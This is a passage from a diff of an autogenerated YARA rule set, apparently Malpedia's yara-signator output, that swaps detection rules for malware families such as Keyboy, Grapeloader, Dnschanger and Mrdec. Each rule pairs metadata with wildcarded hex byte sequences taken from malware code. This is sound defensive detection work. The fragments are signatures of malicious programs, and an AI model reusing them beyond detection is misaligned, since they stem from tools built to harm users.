8b4c2410 85c0 } - $sequence_8 = { e8???????? 50 891c24 e8???????? 85ff 7408 893c24 } - $sequence_9 = { 894dcc 8d4de7 8945c4 668945d2 e8???????? 83ec08 807de700 } + $sequence_0 = { 8b8c2488000000 e8???????? 85c0 0f849d010000 } + $sequence_1 = { 8b8c2488000000 e8???????? 03442460 89842488000000 } + $sequence_2 = { 8b8c2488000000 8d840801fcffff 8944244c 837c244c00 } + $sequence_3 = { 8b8c2488000000 e8???????? 89842488000000 488b442478 } + $sequence_4 = { 8b8c2488000000 8d8401f33e706d 89842488000000 ba05000000 } + $sequence_5 = { 8b8c2488000000 e8???????? 4885c0 7529 } + $sequence_6 = { 8b8c2488000000 e8???????? 4883bc249000000000 741a } + $sequence_7 = { 8b8c2488000000 ff15???????? 85c0 7519 } condition: - 7 of them and filesize < 2174976 + 7 of them and filesize < 6703104 } -rule MALPEDIA_Win_Lightrail_Auto : FILE +rule MALPEDIA_Elf_Nosedive_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "58541781-79c6-574d-b195-c74fbba8085e" + id = "0896063d-4b04-5de6-a33c-b1437bc56c3d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightrail" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightrail_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.nosedive" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.nosedive_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "5d9e17bc35bca0e64cb85c52ac794612dc1d7650f37d7c51842cacd140fd6d54" + logic_hash = "8416103e0574bbf55ec9fa82bbc72a32d4b6a677477fed1dee3caabd7071b0d2" score = 75 quality = 75 tags = "FILE" @@ -136111,34 +135818,34 @@ rule MALPEDIA_Win_Lightrail_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b931ad0231 e8???????? 48894330 4885c0 0f8486000000 } - $sequence_1 = { 48d3c8 4533c0 33d2 33c9 ff15???????? 488d0d505b0100 eb0c } - $sequence_2 = { 488d152c7d0000 b914000000 e8???????? 4885c0 7452 } - $sequence_3 = { 0f84eb000000 4885c0 0f85e4000000 4d3bc1 0f84d1000000 8b7500 498b9cf700a10100 } - $sequence_4 = { 8b0c8e 4903ca 483bcf 721a 438b84168c000000 } - $sequence_5 = { 746d 4533c9 8d5772 4533c0 488bc8 ff93c8020000 } - $sequence_6 = { 442bc9 4183f90f 7779 428b8c8ef89a0000 4803ce ffe1 } - $sequence_7 = { f2410f1004c1 488d15d6860000 f20f1014c2 f20f1025???????? } - $sequence_8 = { ff9778020000 4c63f0 4983feff 0f84ef000000 } - $sequence_9 = { 8b542430 48891401 488d0d4ab90000 e8???????? } + $sequence_0 = { e9???????? 8b06 488b7c2408 4589ed 8907 428b442efc 4289442ffc } + $sequence_1 = { c644240800 8b7b10 31c9 488db42404010000 4989e4 ba02000000 e8???????? } + $sequence_2 = { ebe9 4531f6 4531ff 488b6c2410 4c397320 7630 488b4318 } + $sequence_3 = { e8???????? 5f b8008fffff 4158 e9???????? 4c8d05117f0f00 b974090000 } + $sequence_4 = { eb17 4889de 4889ef e8???????? 48895d10 48895d18 4c897520 } + $sequence_5 = { b93f000000 4429f9 4585c9 7527 4139ca 7d27 418d4f01 } + $sequence_6 = { f348ab 49837e6000 4d896e70 49895e78 751e b810000000 4983ff14 } + $sequence_7 = { c3 83c8ff 48397e08 7543 8b07 4c634610 2500010000 } + $sequence_8 = { e8???????? 8b4c243c ffc0 7516 48c7c098ffffff 6483385a 0f85e8010000 } + $sequence_9 = { e9???????? 48ffc0 80fa3a 7408 8a10 84d2 75f2 } condition: - 7 of them and filesize < 249856 + 7 of them and filesize < 3268608 } -rule MALPEDIA_Win_Knight_Auto : FILE +rule MALPEDIA_Win_Keyboy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5c56e315-5200-56d5-8f06-4a544e9166d5" + id = "fec012ed-67a0-5990-a09f-2adc6f6d01e1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.knight" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.knight_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keyboy_auto.yar#L1-L216" license_url = "N/A" - logic_hash = "5179c3d4ae4d3eb009209c68a9fa6d8609b0788178a723a29c116931afb57a36" + logic_hash = "9b6870fb0f7fa4f14ee6296738101c3d20a040df4ce6327954399cd55fe9250f" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -136150,34 +135857,46 @@ rule MALPEDIA_Win_Knight_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb7a 4889bc24a8010000 4889b424b0010000 c644243700 488b9424c8010000 488b02 ffd0 } - $sequence_1 = { e9???????? e8???????? 48898424d8000000 48899c2488000000 90 488d05b9951400 e8???????? } - $sequence_2 = { eb0a 488d3555d71700 4889c7 4c8b87c0000000 4c8b8fc8000000 0f1f4000 4d85c0 } - $sequence_3 = { eb1c 4889c7 488b8c24e0230000 e8???????? 488d3dcf083000 e8???????? 6690 } - $sequence_4 = { 4d3b6610 0f86a3010000 4881eca0000000 4889ac2498000000 488dac2498000000 48bae36f8e02db14e6c7 488954241f } - $sequence_5 = { 90 e8???????? e8???????? 4889c1 4889df 488d0589551f00 488b9c2400070000 } - $sequence_6 = { eb0c 488d3da69a4c00 e8???????? e8???????? 48891d???????? 833d????????00 7509 } - $sequence_7 = { ffc2 85d2 7d10 488d057e863800 31db 31c9 e8???????? } - $sequence_8 = { ffd1 4889842438010000 48899c2490000000 488d0517dd1700 e8???????? 488b8c2490000000 48894808 } - $sequence_9 = { e8???????? f20f108424f0000000 f20f108c24c0000000 0f57d2 660f2ed0 7613 f20f101d???????? } + $sequence_0 = { 51 ff75d8 6a00 ff75c0 } + $sequence_1 = { 6a00 8945f2 8d45f8 50 6a0e } + $sequence_2 = { 5d c3 3b0d???????? f27502 f2c3 f2e953030000 } + $sequence_3 = { c705????????dbd99823 c705????????d468bcb5 c705????????2086e659 c705????????eec45abf c705????????bbee2bd1 c705????????3e20f129 } + $sequence_4 = { c705????????0caa6c89 c705????????a856701f c705????????597e743c c705????????0a9769e0 c705????????c4b85363 } + $sequence_5 = { c705????????0a9769e0 c705????????c4b85363 c705????????3abf261f c705????????890e9944 c705????????dbd99823 c705????????d468bcb5 c705????????2086e659 } + $sequence_6 = { 57 68cc020000 8d852cfdffff 8bf2 6a00 50 89b528fdffff } + $sequence_7 = { 24a0 3ca0 7518 b800080000 } + $sequence_8 = { 2408 f6d8 1ac0 24dd 88474e } + $sequence_9 = { 7207 b901000000 eb0f 3cfe 7509 } + $sequence_10 = { 6683f809 740a 6683f806 7404 32c9 eb02 } + $sequence_11 = { 7905 49 83c9f8 41 8a043e 0fbe4c8de0 3401 } + $sequence_12 = { 0fbe4c8de0 3401 0fbec0 0fafc8 80f185 880c3e } + $sequence_13 = { e8???????? 85c0 755e 83ff20 } + $sequence_14 = { f7d9 85db 0f44c2 23c8 } + $sequence_15 = { c705????????1671e665 c705????????f3106cb3 c705????????526c1ed0 c705????????5d05606c } + $sequence_16 = { ffd0 e9???????? bbfeffffff eb05 } + $sequence_17 = { 84c0 75f0 8d55ec c745ec5c417070 c745f06c655c55 } + $sequence_18 = { e8???????? 8b75c0 8bce 8b15???????? a3???????? e8???????? 8b15???????? } + $sequence_19 = { 8d46d6 99 83e23f 03c2 } + $sequence_20 = { ff15???????? 8bf8 c745f447646933 8d45f4 66c745f83200 50 } + $sequence_21 = { c745f06c655c55 8bf2 c745f470646174 66c745f86500 8a02 } condition: - 7 of them and filesize < 12149760 + 7 of them and filesize < 2170880 } -rule MALPEDIA_Win_Smanager_Auto : FILE +rule MALPEDIA_Win_Grapeloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9094b6d5-dd8f-5044-9d10-3bb7c70d2fbb" + id = "eb279ded-b2c5-5f10-9bdf-71ce0cb379f9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smanager_auto.yar#L1-L227" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grapeloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grapeloader_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "e0a2b573b878cce9fd789f6f7825fb445120b343d0f7f8893519c9a9cc16ccfe" + logic_hash = "9956347475bad3c02131a3202e37348872c31d719ae25d5814bb41f19904ddf4" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -136189,85 +135908,71 @@ rule MALPEDIA_Win_Smanager_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c7462cffffffff 7410 6a00 6a00 } - $sequence_1 = { 8b4608 85c0 7420 a801 } - $sequence_2 = { 83c602 6a22 56 e8???????? 83c408 85c0 } - $sequence_3 = { 740e 3d45270000 7407 3d46270000 } - $sequence_4 = { 51 51 ffd0 83c40c c7460800000000 } - $sequence_5 = { 8b7604 6a00 6a00 56 } - $sequence_6 = { 8b4510 85c0 7407 50 ff15???????? } - $sequence_7 = { 56 68???????? 6a00 6a00 ff15???????? 8bf8 897e28 } - $sequence_8 = { ff15???????? 32c0 e9???????? 0f1005???????? } - $sequence_9 = { 8b43ec 85c0 751d 41f6c040 7408 488b07 } - $sequence_10 = { 0000 80ed4a 0044feff ff900100008c } - $sequence_11 = { 0000 0c0c 0c0c 0c0c 0c0c 0c0c 0102 } - $sequence_12 = { 0007 b15a 0089b05a0089 b05a } - $sequence_13 = { 85c0 745c 448d4368 488d4c2470 33d2 } - $sequence_14 = { 448b842498000000 488b942490000000 488b4c2448 488d842480000000 4533c9 4889442428 895c2420 } - $sequence_15 = { 0008 53 4f 00ef } - $sequence_16 = { 4863ca 8a441918 42888401b0210200 ffc2 } - $sequence_17 = { 488bce e8???????? 8b07 488b8c2480000000 89442430 488d442440 448d4301 } - $sequence_18 = { 0003 b157 0000 0c0c } - $sequence_19 = { b920000000 498bd0 482bd3 488d81deffff7f 4885c0 7417 0fb7041a } - $sequence_20 = { 0007 b15a 00c4 b15a } - $sequence_21 = { 0007 b15a 0007 b15a } - $sequence_22 = { 0001 ce 50 0008 } - $sequence_23 = { 751c 4883e0fe 488d4f08 4c8b08 4d85c9 740c 41b802000000 } + $sequence_0 = { 88542417 48894c2408 48c7042400000000 48833c2414 731e 8a542417 } + $sequence_1 = { 0fbe4c2429 0fb7442410 01c8 6689442410 0fb644241b 0faf442420 89442420 } + $sequence_2 = { eb00 488b8580000000 4889e1 488d95c4020000 48895120 48c7c1ffffffff 488d95d0020000 } + $sequence_3 = { 5b c3 4883ec28 4c8d0d85b60000 33c9 4c8d0578b60000 488d1579b60000 } + $sequence_4 = { 4883ec38 4889542430 48894c2428 488b4c2428 48894c2420 48c7015c000000 } + $sequence_5 = { 03442438 89442438 0fb744243c 05876c0000 668944243c 8b442438 03442424 } + $sequence_6 = { 29c8 88442413 0fbf44243a 69c0be000000 668944243a 0fbf4c243a } + $sequence_7 = { 4889442428 f6401c01 7412 488b4c2428 c6411c00 4883c108 e8???????? } + $sequence_8 = { 488d8d08030000 e8???????? 488d8d38030000 e8???????? c7850003000000000000 488d8ddf020000 } + $sequence_9 = { eb00 488b9590010000 488b8d80010000 e8???????? 48898578010000 eb00 } condition: - 7 of them and filesize < 10013696 + 7 of them and filesize < 397312 } -rule MALPEDIA_Win_Sodamaster_Auto : FILE +rule MALPEDIA_Win_Kuluoz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d1f7db4a-f731-535e-9ec7-0f94492b7206" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sodamaster_auto.yar#L1-L121" + id = "e333e81d-6ddf-5afb-9076-c2e07a86e601" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kuluoz_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "fa1144cbcb2ad99084cc1ee6d93d89428028e0238c89b4c179e1b18530e08c7f" + logic_hash = "8a6d421ab9f7554479240c31c714fda22b910eb903ffdf797f53667a783e223f" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5d c3 8b04c5d4ca0010 5d c3 8bff 55 } - $sequence_1 = { 83c002 6685c9 75f5 8b8d14fbffff 2bc2 } - $sequence_2 = { 8b748104 40 6a64 8945e8 ff15???????? 3bf3 } - $sequence_3 = { 8bc3 c1f805 8d3c85a0330110 8bf3 83e61f c1e606 } - $sequence_4 = { a3???????? a1???????? c705????????ee5c0010 8935???????? a3???????? } - $sequence_5 = { 2bc1 8d8df0efffff 51 8bc8 e8???????? 8b35???????? 83c404 } - $sequence_6 = { 52 51 d1f8 50 8d9524ffffff } - $sequence_7 = { 85c0 743a 8b55ec 52 ff15???????? 8bf8 } - $sequence_8 = { 0f84d5000000 8b95e8efffff 53 8d85dcefffff 50 } - $sequence_9 = { ff15???????? eb10 c745da64006c00 b96c000000 66894dde } + $sequence_0 = { 8b4de8 83790c00 0f84e3000000 8b55e8 } + $sequence_1 = { 8bff 55 8bec 51 8b4508 8945fc 8b4d0c } + $sequence_2 = { 8b8da0fbffff 898df0fbffff 8b95a4fbffff 8995f4fbffff eb6f 8d85f8fbffff 50 } + $sequence_3 = { 85c0 740b 8b4df0 83c101 894df0 ebd7 8b55f0 } + $sequence_4 = { 8bff 55 8bec 51 56 c745fc00000000 eb09 } + $sequence_5 = { e8???????? 8b08 898d5cfbffff 8b5004 899560fbffff 8b4008 } + $sequence_6 = { 8b4508 054a050000 8b4d08 3b814a2d0000 7504 b001 eb02 } + $sequence_7 = { 50 e8???????? 8945f4 837df4ff 7405 8b45f4 eb4b } + $sequence_8 = { 0fbe5508 83fa0a 7409 0fbe4508 83f80d 7504 b001 } + $sequence_9 = { 8955f0 8b45f0 3b45e0 734e } condition: - 7 of them and filesize < 134144 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Emdivi_Auto : FILE +rule MALPEDIA_Win_Sharpknot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ef5b2254-03f0-58f4-b962-bbb2c39fe141" + id = "45650ffc-30fa-59dd-9298-17c525a596bf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.emdivi_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sharpknot_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "a232eb74848fdd496e4591cb6ccd862ae9760c83f1359caadd1d0bedc4ecfd7c" + logic_hash = "f79cb6af16b4be17278bbf2846f42541c5c87bd486108c50193c9587c9073fc1" score = 75 quality = 75 tags = "FILE" @@ -136281,32 +135986,32 @@ rule MALPEDIA_Win_Emdivi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1e304 83e203 3355f8 33fb } - $sequence_1 = { e8???????? ff75ec 8ad8 c0fb02 } - $sequence_2 = { e8???????? c3 beff010000 56 } - $sequence_3 = { e8???????? 0ad8 59 881f } - $sequence_4 = { e8???????? 99 2bf7 f7fe 8bc2 } - $sequence_5 = { 0f8785000000 8a45ff c0fb04 c0e002 0ad8 881f } - $sequence_6 = { f7fb 5b 6a07 03f8 8bc1 } - $sequence_7 = { e8???????? 8bd8 8bc6 59 c6432000 8d7801 } - $sequence_8 = { 83ec10 8bfc 8db5f4f2ffff a5 a5 a5 } - $sequence_9 = { 385d08 7513 53 53 6a01 53 53 } + $sequence_0 = { e8???????? 8d8c246c020000 c7842498050000ffffffff e8???????? 8b8c2490050000 } + $sequence_1 = { 8d542420 8bcf b8abaaaa2a 2bcd 52 f7e9 c1fa02 } + $sequence_2 = { 8bca 897c2430 c1e91f 03d1 83fa01 0f83b3000000 8bcb } + $sequence_3 = { e8???????? 8b8c2490050000 5f 5e 5d 33c0 5b } + $sequence_4 = { 8a8681f84400 2410 3c10 7508 660fb6b680f74400 } + $sequence_5 = { 7f08 81f90000a000 7616 6800001000 8d542414 6a01 } + $sequence_6 = { 51 e8???????? 89442448 89442428 8b44243c 895c2434 8954244c } + $sequence_7 = { 7522 8d44240c 50 e8???????? 8bf0 83c408 85f6 } + $sequence_8 = { f3a4 b910000000 8d7c2414 f3ab 8d442454 8d4c2410 50 } + $sequence_9 = { 8b520c 52 e8???????? 83c404 } condition: - 7 of them and filesize < 581632 + 7 of them and filesize < 1032192 } -rule MALPEDIA_Win_Kardonloader_Auto : FILE +rule MALPEDIA_Win_Snojan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "57227c50-5901-516a-b863-0f33adb6b519" + id = "9f201807-eca2-5671-8fb1-4c54ce96e5b1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kardonloader_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snojan_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "bf2ff4ff4bbba7fc1d200f179fb3f5bc11f84479969b4348f603834a274497e5" + logic_hash = "1d25311cfd419aa863c883b495c4bbb0986a7541ebe6286749992456a12c9723" score = 75 quality = 75 tags = "FILE" @@ -136320,32 +136025,32 @@ rule MALPEDIA_Win_Kardonloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c0e904 8a8018314000 c0e002 0ac8 880c32 8bc2 } - $sequence_1 = { 663bc8 751c 8b4208 8bf0 c1ee10 6683f801 6a06 } - $sequence_2 = { 89450c 786a 0fb6443b01 8a9018314000 0fb6443b02 8a9818314000 } - $sequence_3 = { 68???????? e8???????? 8bf0 85f6 0f844a010000 } - $sequence_4 = { 7819 53 6800040000 8d8550f6ffff } - $sequence_5 = { 58 0fb7f1 663bc8 751c 8b4208 8bf0 } - $sequence_6 = { 84c0 ba???????? b9???????? 8d857cffffff 0f44ca } - $sequence_7 = { 51 8d8578fcffff 50 68???????? } - $sequence_8 = { 8bec 81ec1c020000 56 8b35???????? 57 6810270000 ffd6 } - $sequence_9 = { 83c40c 8bcf 5f c6043100 8bc6 5e } + $sequence_0 = { 8d442bfc c744240804000000 c7442404???????? 890424 } + $sequence_1 = { 81c43c900100 31c0 5b 5e 5f } + $sequence_2 = { 8b4dc0 6689810000986d 83c30c 81fb???????? 0f8285feffff e9???????? } + $sequence_3 = { 83f8ff 0f8452010000 c7442404???????? c70424???????? e8???????? 85c0 89c6 } + $sequence_4 = { 31db eb02 89c3 8d4301 8b14859026986d 85d2 } + $sequence_5 = { e8???????? 29c4 c744240806000000 c744240401000000 c7042402000000 ff15???????? 83ec0c } + $sequence_6 = { 85c9 0f84c3feffff e9???????? 0fb7810000986d 894dc0 89c7 } + $sequence_7 = { 56 53 e8???????? 29c4 c744240806000000 c744240401000000 c7042402000000 } + $sequence_8 = { 7421 85db 740c ff149d9026986d 83eb01 75f4 } + $sequence_9 = { b8???????? e8???????? 85c0 74e9 a1???????? 8b988000986d } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Domino_Auto : FILE +rule MALPEDIA_Win_Dnschanger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "10f793c1-4d4b-5de7-9702-d644c24734c3" + id = "0fa9e2eb-93b3-59e8-87b9-56660e0e1de0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.domino" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.domino_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnschanger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnschanger_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "e26eed1b473d3625fb435dacac72b22f0ae1cadfb46f5a5ee8d2f38a588ca275" + logic_hash = "a0798da45c8d16b6b8cbe6087cae140990ddc919bfe764b8983fff724ffd7558" score = 75 quality = 75 tags = "FILE" @@ -136359,32 +136064,32 @@ rule MALPEDIA_Win_Domino_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41b800300000 488bd6 33c9 4c8bf6 ff15???????? } - $sequence_1 = { 488bd1 b940000000 ff15???????? 448b442438 } - $sequence_2 = { 7509 488b5b08 483b1f 75e9 } - $sequence_3 = { 488b4de7 ff15???????? 488b4def 33d2 ff15???????? 4c8d9c24a0000000 8bc3 } - $sequence_4 = { 488d942450010000 b904010000 ff15???????? 4c8d4c2440 } - $sequence_5 = { 7518 66c7030206 ff15???????? 894302 b806000000 e9???????? } - $sequence_6 = { 750f 66c7030101 b802000000 e9???????? 488d942450010000 b904010000 ff15???????? } - $sequence_7 = { ff15???????? 85c0 7434 488b4d7f } - $sequence_8 = { ff15???????? 488bf0 4885c0 7513 66c7030203 ff15???????? } - $sequence_9 = { ff15???????? 488bcf 894302 ff15???????? } + $sequence_0 = { 83c418 8d542410 8d442414 52 6806000200 6a00 50 } + $sequence_1 = { 8d442414 52 6806000200 6a00 50 } + $sequence_2 = { 6a08 32db ffd5 50 ff15???????? } + $sequence_3 = { 32c0 eb0b ff15???????? 85c0 } + $sequence_4 = { 8d442410 8b8b9c010000 50 57 51 e8???????? 83f86f } + $sequence_5 = { 57 e8???????? 8b2d???????? 6880020000 6a08 } + $sequence_6 = { 2ad1 f6da 1bd2 f7d2 23c2 } + $sequence_7 = { 8bf0 8d45f8 50 ff75f8 56 6a03 ff75fc } + $sequence_8 = { 84d2 7407 8a11 8816 46 } + $sequence_9 = { 8b442410 85c0 742a 83f80a 7415 } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Cryptoluck_Auto : FILE +rule MALPEDIA_Win_Mrdec_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d021de73-27cb-5bec-a5d2-3e18a59babc5" + id = "5cd525b0-3fcd-5de1-aa88-bd5dca592c29" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoluck_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrdec" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mrdec_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "962cd1309df7966b05578e3a6dacac6ddd19906dbb39c069d91052b1b1100225" + logic_hash = "c22120d79fe39ae9d27a4d21c75a9bbd9a26aee0b664e8fa2f821d0411c6aa0d" score = 75 quality = 75 tags = "FILE" @@ -136398,32 +136103,32 @@ rule MALPEDIA_Win_Cryptoluck_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 837d1000 7409 c745d880720010 eb07 c745d878720010 837d1000 7409 } - $sequence_1 = { 83c40c 8945f4 6a00 6880000000 6a02 6a00 6a01 } - $sequence_2 = { 83ec20 8d45f8 50 8b4d08 51 ff15???????? 8b55fc } - $sequence_3 = { 51 837d1801 730f 8b4514 50 } - $sequence_4 = { 52 ff15???????? 898504f0ffff 680f040000 8b8504f0ffff 8d8c05e8fbffff } - $sequence_5 = { 8b4508 69c0100e0000 99 03c8 13f2 894de8 } - $sequence_6 = { f610 57 4c 2434 cd40 0234d2 2d734ce893 } - $sequence_7 = { 8b45c8 83c001 8945c8 8b4dc0 83e901 894dc0 ebe0 } - $sequence_8 = { 8b4de8 51 8b55fc 2b55f4 52 8b45f8 } - $sequence_9 = { ff15???????? 898540ffffff 83bd40ffffff00 7472 8b8d40ffffff 51 8b55e0 } + $sequence_0 = { c64446fa00 57 56 e8???????? 68???????? 56 e8???????? } + $sequence_1 = { 6a00 8d45cc 50 68ef000000 68???????? } + $sequence_2 = { 50 ff75f0 6a00 6a00 6a00 ff75e8 e8???????? } + $sequence_3 = { 7532 68dc050000 ff75dc 68???????? e8???????? } + $sequence_4 = { 6a00 6814010000 68???????? ff75d8 e8???????? 8d3550514000 } + $sequence_5 = { 8bec ff7508 6a40 e8???????? 0bc0 750c 68c8000000 } + $sequence_6 = { 81c700020000 68???????? 57 e8???????? 68???????? 57 e8???????? } + $sequence_7 = { 59 51 80c141 884808 ff05???????? 6a00 6a00 } + $sequence_8 = { 6a02 e8???????? 0bc0 0f8530010000 c745f000400000 ff75f0 } + $sequence_9 = { 6a00 6a00 e8???????? ff75dc e8???????? } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 44864 } -rule MALPEDIA_Win_Oceansalt_Auto : FILE +rule MALPEDIA_Win_Giftedcrook_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "02715696-fd80-57ea-b24d-396ae324dbb5" + id = "fdb2b54b-eafe-53d8-b9a6-9bb6fa7e1261" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oceansalt_auto.yar#L1-L171" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.giftedcrook" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.giftedcrook_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "02d347ca93ad6009e5025efa6ae57d6d731ae049bbef6bfc036d024dce1ca79a" + logic_hash = "c55ae29646ee6e1fa6528687183d61d605ab3a357e4390ae9837f246340b30d4" score = 75 quality = 75 tags = "FILE" @@ -136437,38 +136142,32 @@ rule MALPEDIA_Win_Oceansalt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8b7508 57 6a00 6804020000 8d85f8f9ffff 50 } - $sequence_1 = { 0f8492000000 53 6a00 6a00 6a00 6802000008 } - $sequence_2 = { 50 56 ffd3 6a00 6880000000 6a02 } - $sequence_3 = { 8b4508 6a00 52 57 50 } - $sequence_4 = { 6a07 8d45f4 50 56 c645f400 ff15???????? 6a00 } - $sequence_5 = { 85c9 7e0d 80b405fcfdffff77 40 3bc1 7cf3 56 } - $sequence_6 = { 85ff 743c 6a00 56 } - $sequence_7 = { 83c404 85c0 75ce 8b8dc4fdffff } - $sequence_8 = { 8be8 85c0 0f841e010000 48899c24a8010000 } - $sequence_9 = { 442b44247c 41c1e80a e8???????? f644246010 740a } - $sequence_10 = { 4c8d0d2ba3ffff 41bb00020000 408a2f 413aea 0f8524f9ffff 4438942490000000 } - $sequence_11 = { bb00080000 3918 0f4c18 bf01000000 3bcb 0f8d8d000000 4c8d35f4c60000 } - $sequence_12 = { 4883c440 5d c3 4055 4883ec20 488bea 488b01 } - $sequence_13 = { eb4e 488b0d???????? 488d542434 e8???????? eb3b } - $sequence_14 = { e8???????? 4c8d9c2470060000 498b6b20 498b7328 498be3 } - $sequence_15 = { 488d0d54e30000 f6410820 7417 33d2 } + $sequence_0 = { 744f 4c8bca 4c8d05da9d0400 ba80000000 488d4c2430 e8???????? 0fb69f550a0000 } + $sequence_1 = { 488983300d0000 488d15b0720800 c683500d000001 488bcb e8???????? 488b457f 33ff } + $sequence_2 = { 4c8bc6 